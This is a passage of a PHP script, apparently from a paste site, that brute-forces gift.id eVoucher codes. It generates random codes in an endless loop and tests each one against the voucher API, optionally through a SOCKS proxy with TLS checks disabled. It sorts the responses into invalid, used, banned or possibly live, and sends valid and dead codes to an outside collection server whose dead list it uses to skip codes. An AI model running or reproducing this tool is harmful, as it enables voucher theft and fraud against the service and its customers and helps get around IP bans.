  557.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  558.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  559.     curl_setopt($c, CURLOPT_HEADER, true);
  560.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  561.     curl_setopt($c, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/cookie.txt");
  562.     curl_setopt($c, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/cookie.txt");
  563.     if ($socks):
  564.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  565.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  566.           curl_setopt($c, CURLOPT_PROXY, $socks);
  567.         endif;
  568.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  569.     $response = curl_exec($c);
  570.     $httpcode = curl_getinfo($c);
  571.     if (!$httpcode)
  572.         return false;
  573.     else {
  574.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  575.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  576.     }
  577.     //echo $body;
  578.     $json = json_decode($body);
  579.     if($json->message == "eVoucher not found or expired"){
  580.         $janu = file_get_contents("https://ocbot-januy.c9users.io/tada/save.php?type=die&voc=".$kode);
  581.         return "Bad";
  582.     }else if($json->message == "eVoucher is already used"){
  583.         return "Used";
  584.     }else if(preg_match('/The owner of this website (api.gift.id) has banned your IP address/', $body)){
  585.         return "Banned";
  586.     }else if($body == null){
  587.         return curl_error($c)." Error";
  588.     }elseif(preg_match("/replyCardNo/", $body)){
  589.         $janu = file_get_contents("https://ocbot-januy.c9users.io/tada/save.php?type=live&voc=".$kode);
  590.         $cek = kode($kode, "");
  591.         return "Maybe Live?|".$cek;
  592.         echo $body;
  593.     }else{
  594.         return "Unknown";
  595.     }
  596. }
  597.  
  598. $i = 1;
  599. $tt = true;
  600. while($tt == true){
  601.     $kode = "2".rande(7);
  602.     if(preg_match("/$kode/", file_get_contents("https://ocbot-januy.c9users.io/tada/die.txt"))){
  603.          echo $i.". ".$kode." ! SKIP\n";
  604.          $i = $i+1;
  605.     }else{
  606.     $status = cek($kode, "");
  607.     echo $i.". ".$kode." ! ".$status."\n";
  608.     $i = $i+1;
  609.     if(preg_match("/Maybe Live?/", $status)){
  610.         //$tt = false;
  611.        
  612.     }
  613.     sleep(2);
  614. }
  615. }
  616. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement